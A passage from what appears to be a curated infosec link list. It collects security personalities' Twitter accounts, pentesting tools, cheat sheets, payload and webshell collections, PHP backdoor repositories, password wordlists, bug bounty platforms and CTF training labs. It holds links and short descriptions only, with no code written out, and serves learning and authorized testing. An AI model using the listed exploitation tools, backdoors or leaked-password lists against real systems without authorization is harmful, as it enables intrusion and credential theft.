&nbsp;&nbsp; <a href="https://twitter.com/blackroomsec">@blackroomsec</a> - a white-hat hacker/pentester. Intergalactic Minesweeper Champion 1990. 
&nbsp;&nbsp; <a href="https://twitter.com/MarcoCiappelli">@MarcoCiappelli</a> - Co-Founder @ITSPmagazine, at the intersection of IT security and society. 
&nbsp;&nbsp; <a href="https://twitter.com/binitamshah">@binitamshah</a> - Linux Evangelist. Malwares. Kernel Dev. Security Enthusiast. 
&nbsp;&nbsp; <a href="https://twitter.com/joe_carson">@joe_carson</a> - an InfoSec Professional and Tech Geek. 
&nbsp;&nbsp; <a href="https://twitter.com/mikko">@mikko</a> - CRO at F-Secure, Reverse Engineer, TED Speaker, Supervillain. 
&nbsp;&nbsp; <a href="https://twitter.com/esrtweet">@esrtweet</a> - often referred to as ESR, is an American software developer, and open-source software advocate. 
&nbsp;&nbsp; <a href="https://twitter.com/gynvael">@gynvael</a> - security researcher/programmer, @DragonSectorCTF founder/player, technical streamer. 
&nbsp;&nbsp; <a href="https://twitter.com/x0rz">@x0rz</a> - Security Researcher & Cyber Observer. 
&nbsp;&nbsp; <a href="https://twitter.com/hasherezade">@hasherezade</a> - programmer, malware analyst. Author of PEbear, PEsieve, libPeConv. 
&nbsp;&nbsp; <a href="https://twitter.com/TinkerSec">@TinkerSec</a> - tinkerer, cypherpunk, hacker. 
&nbsp;&nbsp; <a href="https://twitter.com/alisaesage">@alisaesage</a> - independent hacker and researcher. 
&nbsp;&nbsp; <a href="https://twitter.com/SwiftOnSecurity">@SwiftOnSecurity</a> - systems security, industrial safety, sysadmin, author of decentsecurity.com. 
&nbsp;&nbsp; <a href="https://twitter.com/dakami">@dakami</a> - is one of just seven people with the authority to restore the DNS root keys. 
&nbsp;&nbsp; <a href="https://twitter.com/samykamkar">@samykamkar</a> - is a famous "grey hat" hacker, security researcher, creator of the MySpace "Samy" worm. 
&nbsp;&nbsp; <a href="https://twitter.com/securityweekly">@securityweekly</a> - founder & CTO of Security Weekly podcast network. 
&nbsp;&nbsp; <a href="https://twitter.com/jack_daniel">@jack_daniel</a> - @SecurityBSides co-founder. 
&nbsp;&nbsp; <a href="https://twitter.com/thegrugq">@thegrugq</a> - Security Researcher. 
&nbsp;&nbsp; <a href="https://twitter.com/matthew_d_green">@matthew_d_green</a> - a cryptographer and professor at Johns Hopkins University.

##### :black_small_square: Best Commercial Twitter Accounts

&nbsp;&nbsp; <a href="https://twitter.com/haveibeenpwned">@haveibeenpwned</a> - check if you have an account that has been compromised in a data breach. 
&nbsp;&nbsp; <a href="https://twitter.com/bugcrowd">@bugcrowd</a> - trusted by more of the Fortune 500 than any other crowdsourced security platform. 
&nbsp;&nbsp; <a href="https://twitter.com/Malwarebytes">@Malwarebytes</a> - most trusted security company. Unmatched threat visibility. 
&nbsp;&nbsp; <a href="https://twitter.com/sansforensics">@sansforensics</a> - the world's leading Digital Forensics and Incident Response provider. 
&nbsp;&nbsp; <a href="https://twitter.com/attcyber">@attcyber</a> - AT&T Cybersecurity’s Edge-to-Edge technologies provide threat intelligence, and more. 
&nbsp;&nbsp; <a href="https://twitter.com/TheManyHatsClub">@TheManyHatsClub</a> - an information security focused podcast and group of individuals from all walks of life. 
&nbsp;&nbsp; <a href="https://twitter.com/hedgehogsec">@hedgehogsec</a> - Hedgehog Cyber. Gibraltar and Manchester's top boutique information security firm. 
&nbsp;&nbsp; <a href="https://twitter.com/NCSC">@NCSC</a> - the National Cyber Security Centre. Helping to make the UK the safest place to live and work online. 
&nbsp;&nbsp; <a href="https://twitter.com/Synacktiv">@Synacktiv</a> - IT security experts.

##### :black_small_square: A piece of history

&nbsp;&nbsp; <a href="http://web.archive.org/web/20190221103734/https://ftp.arl.army.mil/~mike/howto/">How to Do Things at ARL</a> - how to configure modems, scan images, record CD-ROMs, and other.*

##### :black_small_square: Other

&nbsp;&nbsp; <a href="https://www.youtube.com/watch?v=3QnD2c4Xovk">Diffie-Hellman Key Exchange (short version)</a> - how Diffie-Hellman Key Exchange worked.

#### Hacking/Penetration Testing &nbsp;[[TOC]](#anger-table-of-contents)

##### :black_small_square: Pentesters arsenal tools

&nbsp;&nbsp; <a href="http://www.syhunt.com/sandcat/">Sandcat Browser</a> - a penetration-oriented browser with plenty of advanced functionality already built in. 
&nbsp;&nbsp; <a href="https://www.metasploit.com/">Metasploit</a> - tool and framework for pentesting system, web and many more. 
&nbsp;&nbsp; <a href="https://portswigger.net/burp">Burp Suite</a> - tool for testing web app security, intercepting proxy to replay, inject, scan and fuzz. 
&nbsp;&nbsp; <a href="https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project">OWASP Zed Attack Proxy</a> - intercepting proxy to replay, inject, scan and fuzz HTTP requests. 
&nbsp;&nbsp; <a href="http://w3af.org/">w3af</a> - is a Web Application Attack and Audit Framework. 
&nbsp;&nbsp; <a href="https://mitmproxy.org/">mitmproxy</a> - an interactive TLS-capable intercepting HTTP proxy for penetration testers. 
&nbsp;&nbsp; <a href="https://cirt.net/Nikto2">Nikto2</a> - web server scanner which performs comprehensive tests against web servers for multiple items. 
&nbsp;&nbsp; <a href="http://sqlmap.org/">sqlmap</a> - tool that automates the process of detecting and exploiting SQL injection flaws. 
&nbsp;&nbsp; <a href="https://github.com/lanmaster53/recon-ng">Recon-ng</a> - is a full-featured Web Reconnaissance framework written in Python. 
&nbsp;&nbsp; <a href="https://github.com/Tib3rius/AutoRecon">AutoRecon</a> - is a network reconnaissance tool which performs automated enumeration of services. 
&nbsp;&nbsp; <a href="https://www.faradaysec.com/">Faraday</a> - an Integrated Multiuser Pentest Environment. 
&nbsp;&nbsp; <a href="https://github.com/s0md3v/Photon">Photon</a> - incredibly fast crawler designed for OSINT. 
&nbsp;&nbsp; <a href="https://github.com/s0md3v/XSStrike">XSStrike</a> - most advanced XSS detection suite. 
&nbsp;&nbsp; <a href="https://github.com/1N3/Sn1per">Sn1per</a> - automated pentest framework for offensive security experts. 
&nbsp;&nbsp; <a href="https://github.com/future-architect/vuls">vuls</a> - is an agent-less vulnerability scanner for Linux, FreeBSD, and other. 
&nbsp;&nbsp; <a href="https://github.com/google/tsunami-security-scanner">tsunami</a> - is a general purpose network security scanner with an extensible plugin system. 
&nbsp;&nbsp; <a href="https://github.com/michenriksen/aquatone">aquatone</a> - a tool for domain flyovers. 
&nbsp;&nbsp; <a href="https://github.com/GitHackTools/BillCipher">BillCipher</a> - information gathering tool for a website or IP address. 
&nbsp;&nbsp; <a href="https://github.com/Ekultek/WhatWaf">WhatWaf</a> - detect and bypass web application firewalls and protection systems. 
&nbsp;&nbsp; <a href="https://github.com/s0md3v/Corsy">Corsy</a> - CORS misconfiguration scanner. 
&nbsp;&nbsp; <a href="https://github.com/evyatarmeged/Raccoon">Raccoon</a> - is a high performance offensive security tool for reconnaissance and vulnerability scanning. 
&nbsp;&nbsp; <a href="https://github.com/Nekmo/dirhunt">dirhunt</a> - find web directories without bruteforce. 
&nbsp;&nbsp; <a href="https://www.openwall.com/john/">John The Ripper</a> - is a fast password cracker, currently available for many flavors of Unix, Windows, and other. 
&nbsp;&nbsp; <a href="https://hashcat.net/hashcat/">hashcat</a> - world's fastest and most advanced password recovery utility. 
&nbsp;&nbsp; <a href="http://lcamtuf.coredump.cx/p0f3/">p0f</a> - is a tool to identify the players behind any incidental TCP/IP communications. 
&nbsp;&nbsp; <a href="https://github.com/mozilla/ssh_scan">ssh_scan</a> - a prototype SSH configuration and policy scanner. 
&nbsp;&nbsp; <a href="https://github.com/woj-ciech/LeakLooker">LeakLooker</a> - find open databases - powered by Binaryedge.io 
&nbsp;&nbsp; <a href="https://github.com/offensive-security/exploitdb">exploitdb</a> - searchable archive from The Exploit Database. 
&nbsp;&nbsp; <a href="https://github.com/vulnersCom/getsploit">getsploit</a> - is a command line utility for searching and downloading exploits. 
&nbsp;&nbsp; <a href="https://github.com/zardus/ctf-tools">ctf-tools</a> - some setup scripts for security research tools. 
&nbsp;&nbsp; <a href="https://github.com/Gallopsled/pwntools">pwntools</a> - CTF framework and exploit development library. 
&nbsp;&nbsp; <a href="https://github.com/bl4de/security-tools">security-tools</a> - collection of small security tools created mostly in Python. CTFs, pentests and so on. 
&nbsp;&nbsp; <a href="https://github.com/leonteale/pentestpackage">pentestpackage</a> - is a package of Pentest scripts. 
&nbsp;&nbsp; <a href="https://github.com/dloss/python-pentest-tools">python-pentest-tools</a> - python tools for penetration testers. 
&nbsp;&nbsp; <a href="https://github.com/fuzzdb-project/fuzzdb">fuzzdb</a> - dictionary of attack patterns and primitives for black-box application fault injection. 
&nbsp;&nbsp; <a href="https://github.com/google/AFL">AFL</a> - is a free software fuzzer maintained by Google. 
&nbsp;&nbsp; <a href="https://github.com/AFLplusplus/AFLplusplus">AFL++</a> - is AFL with community patches. 
&nbsp;&nbsp; <a href="https://github.com/google/syzkaller">syzkaller</a> - is an unsupervised, coverage-guided kernel fuzzer. 
&nbsp;&nbsp; <a href="https://github.com/pwndbg/pwndbg">pwndbg</a> - exploit development and reverse engineering with GDB made easy. 
&nbsp;&nbsp; <a href="https://github.com/longld/peda">GDB PEDA</a> - Python Exploit Development Assistance for GDB. 
&nbsp;&nbsp; <a href="https://www.hex-rays.com/products/ida/index.shtml">IDA</a> - multi-processor disassembler and debugger useful for reverse engineering malware. 
&nbsp;&nbsp; <a href="https://github.com/radare/radare2">radare2</a> - framework for reverse-engineering and analyzing binaries. 
&nbsp;&nbsp; <a href="https://github.com/threat9/routersploit">routersploit</a> - exploitation framework for embedded devices. 
&nbsp;&nbsp; <a href="https://github.com/NationalSecurityAgency/ghidra">Ghidra</a> - is a software reverse engineering (SRE) framework. 
&nbsp;&nbsp; <a href="https://cutter.re/">Cutter</a> - is an SRE platform integrating Ghidra's decompiler. 
&nbsp;&nbsp; <a href="https://github.com/salesforce/vulnreport">Vulnreport</a> - open-source pentesting management and automation platform by Salesforce Product Security. 
&nbsp;&nbsp; <a href="https://github.com/sc0tfree/mentalist">Mentalist</a> - is a graphical tool for custom wordlist generation. 
&nbsp;&nbsp; <a href="https://github.com/archerysec/archerysec">archerysec</a> - vulnerability assessment and management helps to perform scans and manage vulnerabilities. 
&nbsp;&nbsp; <a href="https://github.com/j3ssie/Osmedeus">Osmedeus</a> - fully automated offensive security tool for reconnaissance and vulnerability scanning. 
&nbsp;&nbsp; <a href="https://github.com/beefproject/beef">beef</a> - the browser exploitation framework project. 
&nbsp;&nbsp; <a href="https://github.com/NullArray/AutoSploit">AutoSploit</a> - automated mass exploiter. 
&nbsp;&nbsp; <a href="https://github.com/TH3xACE/SUDO_KILLER">SUDO_KILLER</a> - is a tool to identify and exploit sudo rules' misconfigurations and vulnerabilities. 
&nbsp;&nbsp; <a href="https://github.com/VirusTotal/yara">yara</a> - the pattern matching swiss knife. 
&nbsp;&nbsp; <a href="https://github.com/gentilkiwi/mimikatz">mimikatz</a> - a little tool to play with Windows security. 
&nbsp;&nbsp; <a href="https://github.com/sherlock-project/sherlock">sherlock</a> - hunt down social media accounts by username across social networks. 
&nbsp;&nbsp; <a href="https://owasp.org/www-project-threat-dragon/">OWASP Threat Dragon</a> - is a tool used to create threat model diagrams and to record possible threats.

##### :black_small_square: Pentests bookmarks collection

&nbsp;&nbsp; <a href="http://www.pentest-standard.org/index.php/Main_Page">PTES</a> - the penetration testing execution standard. 
&nbsp;&nbsp; <a href="https://www.amanhardikar.com/mindmaps/Practice.html">Pentests MindMap</a> - amazing mind map with vulnerable apps and systems. 
&nbsp;&nbsp; <a href="https://www.amanhardikar.com/mindmaps/webapptest.html">WebApps Security Tests MindMap</a> - incredible mind map for WebApps security tests. 
&nbsp;&nbsp; <a href="https://brutelogic.com.br/blog/">Brute XSS</a> - master the art of Cross Site Scripting. 
&nbsp;&nbsp; <a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet">XSS cheat sheet</a> - contains many vectors that can help you bypass WAFs and filters. 
&nbsp;&nbsp; <a href="https://jivoi.github.io/2015/07/03/offensive-security-bookmarks/">Offensive Security Bookmarks</a> - security bookmarks collection, all things that author need to pass OSCP. 
&nbsp;&nbsp; <a href="https://github.com/coreb1t/awesome-pentest-cheat-sheets">Awesome Pentest Cheat Sheets</a> - collection of the cheat sheets useful for pentesting. 
&nbsp;&nbsp; <a href="https://github.com/Hack-with-Github/Awesome-Hacking">Awesome Hacking by HackWithGithub</a> - awesome lists for hackers, pentesters and security researchers. 
&nbsp;&nbsp; <a href="https://github.com/carpedm20/awesome-hacking">Awesome Hacking by carpedm20</a> - a curated list of awesome hacking tutorials, tools and resources. 
&nbsp;&nbsp; <a href="https://github.com/vitalysim/Awesome-Hacking-Resources">Awesome Hacking Resources</a> - collection of hacking/penetration testing resources to make you better. 
&nbsp;&nbsp; <a href="https://github.com/enaqx/awesome-pentest">Awesome Pentest</a> - collection of awesome penetration testing resources, tools and other shiny things. 
&nbsp;&nbsp; <a href="https://github.com/m4ll0k/Awesome-Hacking-Tools">Awesome-Hacking-Tools</a> - is a curated list of awesome Hacking Tools. 
&nbsp;&nbsp; <a href="https://github.com/ksanchezcld/Hacking_Cheat_Sheet">Hacking Cheat Sheet</a> - author hacking and pentesting notes. 
&nbsp;&nbsp; <a href="https://github.com/toolswatch/blackhat-arsenal-tools">blackhat-arsenal-tools</a> - official Black Hat arsenal security tools repository. 
&nbsp;&nbsp; <a href="https://www.peerlyst.com/posts/the-complete-list-of-infosec-related-cheat-sheets-claus-cramon">Penetration Testing and WebApp Cheat Sheets</a> - the complete list of Infosec related cheat sheets. 
&nbsp;&nbsp; <a href="https://github.com/The-Art-of-Hacking/h4cker">Cyber Security Resources</a> - includes thousands of cybersecurity-related references and resources. 
&nbsp;&nbsp; <a href="https://github.com/jhaddix/pentest-bookmarks">Pentest Bookmarks</a> - there are a LOT of pentesting blogs. 
&nbsp;&nbsp; <a href="https://github.com/OlivierLaflamme/Cheatsheet-God">Cheatsheet-God</a> - Penetration Testing Reference Bank - OSCP/PTP & PTX Cheatsheet. 
&nbsp;&nbsp; <a href="https://github.com/Cyb3rWard0g/ThreatHunter-Playbook">ThreatHunter-Playbook</a> - to aid the development of techniques and hypothesis for hunting campaigns. 
&nbsp;&nbsp; <a href="https://github.com/hmaverickadams/Beginner-Network-Pentesting">Beginner-Network-Pentesting</a> - notes for beginner network pentesting course. 
&nbsp;&nbsp; <a href="https://github.com/rewardone/OSCPRepo">OSCPRepo</a> - is a list of resources that author have been gathering in preparation for the OSCP. 
&nbsp;&nbsp; <a href="https://github.com/swisskyrepo/PayloadsAllTheThings">PayloadsAllTheThings</a> - a list of useful payloads and bypass for Web Application Security and Pentest/CTF. 
&nbsp;&nbsp; <a href="https://github.com/foospidy/payloads">payloads</a> - git all the Payloads! A collection of web attack payloads. 
&nbsp;&nbsp; <a href="https://github.com/payloadbox/command-injection-payload-list">command-injection-payload-list</a> - command injection payload list. 
&nbsp;&nbsp; <a href="https://github.com/jakejarvis/awesome-shodan-queries">Awesome Shodan Search Queries</a> - great search queries to plug into Shodan. 
&nbsp;&nbsp; <a href="https://github.com/s0md3v/AwesomeXSS">AwesomeXSS</a> - is a collection of Awesome XSS resources. 
&nbsp;&nbsp; <a href="https://github.com/JohnTroony/php-webshells">php-webshells</a> - common php webshells. 
&nbsp;&nbsp; <a href="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/">Pentesting Tools Cheat Sheet</a> - a quick reference high level overview for typical penetration testing. 
&nbsp;&nbsp; <a href="https://cheatsheetseries.owasp.org/">OWASP Cheat Sheet Series</a> - is a collection of high value information on specific application security topics. 
&nbsp;&nbsp; <a href="https://jeremylong.github.io/DependencyCheck/index.html">OWASP dependency-check</a> - is an open source solution the OWASP Top 10 2013 entry. 
&nbsp;&nbsp; <a href="https://www.owasp.org/index.php/OWASP_Proactive_Controls">OWASP ProActive Controls</a> - OWASP Top 10 Proactive Controls 2018. 
&nbsp;&nbsp; <a href="https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE">PENTESTING-BIBLE</a> - hacking & penetration testing & red team & cyber security resources. 
&nbsp;&nbsp; <a href="https://github.com/nixawk/pentest-wiki">pentest-wiki</a> - is a free online security knowledge library for pentesters/researchers. 
&nbsp;&nbsp; <a href="https://media.defcon.org/">DEF CON Media Server</a> - great stuff from DEFCON. 
&nbsp;&nbsp; <a href="https://github.com/rshipp/awesome-malware-analysis">Awesome Malware Analysis</a> - a curated list of awesome malware analysis tools and resources. 
&nbsp;&nbsp; <a href="https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/">SQL Injection Cheat Sheet</a> - detailed technical stuff about the many different variants of the SQL Injection. 
&nbsp;&nbsp; <a href="http://kb.entersoft.co.in/">Entersoft Knowledge Base</a> - great and detailed reference about vulnerabilities. 
&nbsp;&nbsp; <a href="http://html5sec.org/">HTML5 Security Cheatsheet</a> - a collection of HTML5 related XSS attack vectors. 
&nbsp;&nbsp; <a href="http://evuln.com/tools/xss-encoder/">XSS String Encoder</a> - for generating XSS code to check your input validation filters against XSS. 
&nbsp;&nbsp; <a href="https://gtfobins.github.io/">GTFOBins</a> - list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. 
&nbsp;&nbsp; <a href="https://guif.re/">Guifre Ruiz Notes</a> - collection of security, system, network and pentest cheatsheets. 
&nbsp;&nbsp; <a href="http://blog.safebuff.com/2016/07/03/SSRF-Tips/index.html">SSRF Tips</a> - a collection of SSRF Tips. 
&nbsp;&nbsp; <a href="http://shell-storm.org/repo/CTF/">shell-storm repo CTF</a> - great archive of CTFs. 
&nbsp;&nbsp; <a href="https://github.com/bl4de/ctf">ctf</a> - CTF (Capture The Flag) writeups, code snippets, notes, scripts. 
&nbsp;&nbsp; <a href="https://github.com/orangetw/My-CTF-Web-Challenges">My-CTF-Web-Challenges</a> - collection of CTF Web challenges. 
&nbsp;&nbsp; <a href="https://github.com/OWASP/owasp-mstg">MSTG</a> - The Mobile Security Testing Guide (MSTG) is a comprehensive manual for mobile app security testing. 
&nbsp;&nbsp; <a href="https://github.com/sdcampbell/Internal-Pentest-Playbook">Internal-Pentest-Playbook</a> - notes on the most common things for an Internal Network Penetration Test. 
&nbsp;&nbsp; <a href="https://github.com/streaak/keyhacks">KeyHacks</a> - shows quick ways in which API keys leaked by a bug bounty program can be checked. 
&nbsp;&nbsp; <a href="https://github.com/securitum/research">securitum/research</a> - various Proof of Concepts of security research performed by Securitum. 
&nbsp;&nbsp; <a href="https://github.com/juliocesarfort/public-pentesting-reports">public-pentesting-reports</a> - is a list of public pentest reports released by several consulting security groups. 
&nbsp;&nbsp; <a href="https://github.com/djadmin/awesome-bug-bounty">awesome-bug-bounty</a> - is a comprehensive curated list of available Bug Bounty. 
&nbsp;&nbsp; <a href="https://github.com/ngalongc/bug-bounty-reference">bug-bounty-reference</a> - is a list of bug bounty write-ups. 
&nbsp;&nbsp; <a href="https://github.com/devanshbatham/Awesome-Bugbounty-Writeups">Awesome-Bugbounty-Writeups</a> - is a curated list of bugbounty writeups. 
&nbsp;&nbsp; <a href="https://pentester.land/list-of-bug-bounty-writeups.html">Bug bounty writeups</a> - list of bug bounty writeups (2012-2020). 
&nbsp;&nbsp; <a href="https://hackso.me/">hackso.me</a> - a great journey into security.

##### :black_small_square: Backdoors/exploits

&nbsp;&nbsp; <a href="https://github.com/bartblaze/PHP-backdoors">PHP-backdoors</a> - a collection of PHP backdoors. For educational or testing purposes only.

##### :black_small_square: Wordlists and Weak passwords

&nbsp;&nbsp; <a href="https://weakpass.com/">Weakpass</a> - for any kind of bruteforce find wordlists or unleash the power of them all at once! 
&nbsp;&nbsp; <a href="https://hashes.org/">Hashes.org</a> - is a free online hash resolving service incorporating many unparalleled techniques. 
&nbsp;&nbsp; <a href="https://github.com/danielmiessler/SecLists">SecLists</a> - collection of multiple types of lists used during security assessments, collected in one place. 
&nbsp;&nbsp; <a href="https://github.com/berzerk0/Probable-Wordlists">Probable-Wordlists</a> - sorted by probability originally created for password generation and testing. 
&nbsp;&nbsp; <a href="https://wiki.skullsecurity.org/index.php?title=Passwords">skullsecurity passwords</a> - password dictionaries and leaked passwords repository. 
&nbsp;&nbsp; <a href="https://bezpieka.org/polski-slownik-premium-polish-wordlist">Polish PREMIUM Dictionary</a> - official dictionary created by the team on the forum bezpieka.org.* <a href="https://sourceforge.net/projects/kali-linux/files/Wordlist/">1 
&nbsp;&nbsp; <a href="https://github.com/insidetrust/statistically-likely-usernames">statistically-likely-usernames</a> - wordlists for creating statistically likely username lists.

##### :black_small_square: Bounty platforms

&nbsp;&nbsp; <a href="https://www.yeswehack.com/">YesWeHack</a> - bug bounty platform with infosec jobs. 
&nbsp;&nbsp; <a href="https://www.openbugbounty.org/">Openbugbounty</a> - allows any security researcher reporting a vulnerability on any website. 
&nbsp;&nbsp; <a href="https://www.hackerone.com/">hackerone</a> - global hacker community to surface the most relevant security issues. 
&nbsp;&nbsp; <a href="https://www.bugcrowd.com/">bugcrowd</a> - crowdsourced cybersecurity for the enterprise. 
&nbsp;&nbsp; <a href="https://crowdshield.com/">Crowdshield</a> - crowdsourced security & bug bounty management. 
&nbsp;&nbsp; <a href="https://www.synack.com/">Synack</a> - crowdsourced security & bug bounty programs, crowd security intelligence platform, and more. 
&nbsp;&nbsp; <a href="https://hacktrophy.com/en/">Hacktrophy</a> - bug bounty platform.

##### :black_small_square: Web Training Apps (local installation)

&nbsp;&nbsp; <a href="https://www.owasp.org/index.php/OWASP_Vulnerable_Web_Applications_Directory_Project">OWASP-VWAD</a> - comprehensive and well maintained registry of all known vulnerable web applications. 
&nbsp;&nbsp; <a href="http://www.dvwa.co.uk/">DVWA</a> - PHP/MySQL web application that is damn vulnerable. 
&nbsp;&nbsp; <a href="https://metasploit.help.rapid7.com/docs/metasploitable-2">metasploitable2</a> - vulnerable web application amongst security researchers. 
&nbsp;&nbsp; <a href="https://github.com/rapid7/metasploitable3">metasploitable3</a> - is a VM that is built from the ground up with a large amount of security vulnerabilities. 
&nbsp;&nbsp; <a href="https://github.com/stamparm/DSVW">DSVW</a> - is a deliberately vulnerable web application written in under 100 lines of code. 
&nbsp;&nbsp; <a href="https://sourceforge.net/projects/mutillidae/">OWASP Mutillidae II</a> - free, open source, deliberately vulnerable web-application. 
&nbsp;&nbsp; <a href="https://www.owasp.org/index.php/OWASP_Juice_Shop_Project">OWASP Juice Shop Project</a> - the most bug-free vulnerable application in existence. 
&nbsp;&nbsp; <a href="https://www.owasp.org/index.php/Projects/OWASP_Node_js_Goat_Project">OWASP Node js Goat Project</a> - OWASP Top 10 security risks apply to web apps developed using Node.js. 
&nbsp;&nbsp; <a href="https://github.com/iteratec/juicy-ctf">juicy-ctf</a> - run Capture the Flags and Security Trainings with OWASP Juice Shop. 
&nbsp;&nbsp; <a href="https://github.com/OWASP/SecurityShepherd">SecurityShepherd</a> - web and mobile application security training platform. 
&nbsp;&nbsp; <a href="https://github.com/opendns/Security_Ninjas_AppSec_Training">Security Ninjas</a> - open source application security training program. 
&nbsp;&nbsp; <a href="https://github.com/rapid7/hackazon">hackazon</a> - a modern vulnerable web app. 
&nbsp;&nbsp; <a href="https://github.com/appsecco/dvna">dvna</a> - damn vulnerable NodeJS application. 
&nbsp;&nbsp; <a href="https://github.com/DefectDojo/django-DefectDojo">django-DefectDojo</a> - is an open-source application vulnerability correlation and security orchestration tool. 
&nbsp;&nbsp; <a href="https://google-gruyere.appspot.com/">Google Gruyere</a> - web application exploits and defenses. 
&nbsp;&nbsp; <a href="https://github.com/amolnaik4/bodhi">Bodhi</a> - is a playground focused on learning the exploitation of client-side web vulnerabilities. 
&nbsp;&nbsp; <a href="https://websploit.h4cker.org/">Websploit</a> - single vm lab with the purpose of combining several vulnerable appliations in one environment. 
&nbsp;&nbsp; <a href="https://github.com/vulhub/vulhub">vulhub</a> - pre-built Vulnerable Environments based on docker-compose. 
&nbsp;&nbsp; <a href="https://rhinosecuritylabs.com/aws/introducing-cloudgoat-2/">CloudGoat 2</a> - the new & improved "Vulnerable by Design"
AWS deployment tool. 
&nbsp;&nbsp; <a href="https://github.com/globocom/secDevLabs">secDevLabs</a> - is a laboratory for learning secure web development in a practical manner. 
&nbsp;&nbsp; <a href="https://github.com/incredibleindishell/CORS-vulnerable-Lab">CORS-vulnerable-Lab</a> - sample vulnerable code and its exploit code. 
&nbsp;&nbsp; <a href="https://github.com/moloch--/RootTheBox">RootTheBox</a> - a Game of Hackers (CTF Scoreboard & Game Manager). 
&nbsp;&nbsp; <a href="https://application.security/">KONTRA</a> - application security training (OWASP Top Web & Api).

##### :black_small_square: Labs (ethical hacking platforms/trainings/CTFs)

&nbsp;&nbsp; <a href="https://www.offensive-security.com/">Offensive Security</a> - true performance-based penetration testing training for over a decade. 
&nbsp;&nbsp; <a href="https://www.hackthebox.eu/">Hack The Box</a> - online platform allowing you to test your penetration testing skills. 
&nbsp;&nbsp; <a href="https://www.hacking-lab.com/index.html">Hacking-Lab</a> - online ethical hacking, computer network and security challenge platform. 
&nbsp;&nbsp; <a href="http://pwnable.kr/index.php">pwnable.kr</a> - non-commercial wargame site which provides various pwn challenges. 
&nbsp;&nbsp; <a href="https://pwnable.tw/">Pwnable.tw</a> - is a wargame site for hackers to test and expand their binary exploiting skills. 
&nbsp;&nbsp; <a href="https://picoctf.com/">picoCTF</a> - is a free computer security game targeted at middle and high school students. 
&nbsp;&nbsp; <a href="https://ctflearn.com/">CTFlearn</a> - is an online platform built to help ethical hackers learn and practice their cybersecurity knowledge. 
&nbsp;&nbsp; <a href="https://ctftime.org/">ctftime</a> - CTF archive and a place, where you can get some another CTF-related info. 
&nbsp;&nbsp; <a href="https://silesiasecuritylab.com/">Silesia Security Lab</a> - high quality security testing services. 
&nbsp;&nbsp; <a href="https://practicalpentestlabs.com/">Practical Pentest Labs</a> - pentest lab, take your Hacking skills to the next level. 
&nbsp;&nbsp; <a href="https://www.root-me.org/?lang=en">Root Me</a> - the fast, easy, and affordable way to train your hacking skills. 
&nbsp;&nbsp; <a href="https://rozwal.to/login">rozwal.to</a> - a great platform to train your pentesting skills. 
&nbsp;&nbsp; <a href="https://tryhackme.com/">TryHackMe</a> - learning Cyber Security made easy. 
&nbsp;&nbsp; <a href="https://hackxor.net/">hackxor</a> - is a realistic web application hacking game, designed to help players of all abilities develop their skills. 
&nbsp;&nbsp; <a href="http://hack-yourself-first.com/">Hack Yourself First</a> - it's full of nasty app sec holes. 
&nbsp;&nbsp; <a href="http://overthewire.org/wargames/">OverTheWire</a> - can help you to learn and practice security concepts in the form of fun-filled games. 
&nbsp;&nbsp; <a href="https://labs.wizard-security.net/">Wizard Labs</a> - is an online Penetration Testing Lab. 
&nbsp;&nbsp; <a href="https://pentesterlab.com/">PentesterLab</a> - provides vulnerable systems that can be used to test and understand vulnerabilities. 
&nbsp;&nbsp; <a href="https://ringzer0ctf.com/">RingZer0</a> - tons of challenges designed to test and improve your hacking skills. 
&nbsp;&nbsp; <a href="http://www.try2hack.nl/">try2hack</a> - several security-oriented challenges for your entertainment. 
&nbsp;&nbsp; <a href="https://www.ubeeri.com/preconfig-labs">Ubeeri</a> - preconfigured lab environments. 
&nbsp;&nbsp; <a href="https://lab.pentestit.ru/">Pentestit</a> - emulate IT infrastructures of real companies for legal pen testing and improving pentest skills. 
&nbsp;&nbsp; <a href="https://microcorruption.com/login">Microcorruption</a> - reversal challenges done in the web interface. 
&nbsp;&nbsp; <a href="https://crackmes.one/">Crackmes</a> - download crackmes to help improve your reverse engineering skills. 
&nbsp;&nbsp; <a href="https://domgo.at/cxss/intro">DomGoat</a> - DOM XSS security learning and practicing platform. 
&nbsp;&nbsp; <a href="https://chall.stypr.com">Stereotyped Challenges</a> - upgrade your web hacking techniques today! 
&nbsp;&nbsp; <a href="https://www.vulnhub.com/">Vulnhub</a> - allows anyone to gain practical 'hands-on' experience in digital security. 
&nbsp;&nbsp; <a href="https://w3challs.com/">W3Challs</a> - is a penetration testing training platform, which offers various computer challenges. 
&nbsp;&nbsp; <a href="https://ringzer0ctf.com/challenges">RingZer0 CTF</a> - offers you tons of challenges designed to test and improve your hacking skills. 
&nbsp;&nbsp; <a href="https://hack.me/">Hack.me</a> - a platform where you can build, host and share vulnerable web apps for educational purposes. 
&nbsp;&nbsp; <a href="https://www.hackthis.co.uk/levels/">HackThis!</a> - discover how hacks, dumps and defacements are performed and secure your website. 
&nbsp;&nbsp; <a href="https://www.enigmagroup.org/#">Enigma Group WebApp Training</a> - these challenges cover the exploits listed in the OWASP Top 10 Project. 
&nbsp;&nbsp; <a href="https://challenges.re/">Reverse Engineering Challenges</a> - challenges, exercises, problems and tasks - by level, by type, and more. 
&nbsp;&nbsp; <a href="https://0x00sec.org/">0x00sec</a> - the home of the Hacker - Malware, Reverse Engineering, and Computer Science. 
&nbsp;&nbsp; <a href="https://www.wechall.net/challs">We Chall</a> - there are exist a lots of different challenge types. 
&nbsp;&nbsp; <a href="https://www.hackergateway.com/">Hacker Gateway</a> - is the go-to place for hackers who want to test their skills. 
&nbsp;&nbsp; <a href="https://www.hacker101.com/">Hacker101</a> - is a free class for web security. 
&nbsp;&nbsp; <a href="https://contained.af/">contained.af</a> - a stupid game for learning about containers, capabilities, and syscalls. 
&nbsp;&nbsp; <a href="http://flaws.cloud/">flAWS challenge!</a> - a series of levels you'll learn about common mistakes and gotchas when using AWS. 
&nbsp;&nbsp; <a href="https://cybersecurity.wtf">CyberSec WTF</a> - provides web hacking challenges derived from bounty write-ups. 
&nbsp;&nbsp; <a href="https://ctfchallenge.co.uk/login">CTF Challenge</a> - CTF Web App challenges. 
&nbsp;&nbsp; <a href="https://capturetheflag.withgoogle.com">gCTF</a> - most of the challenges used in the Google CTF 2017. 
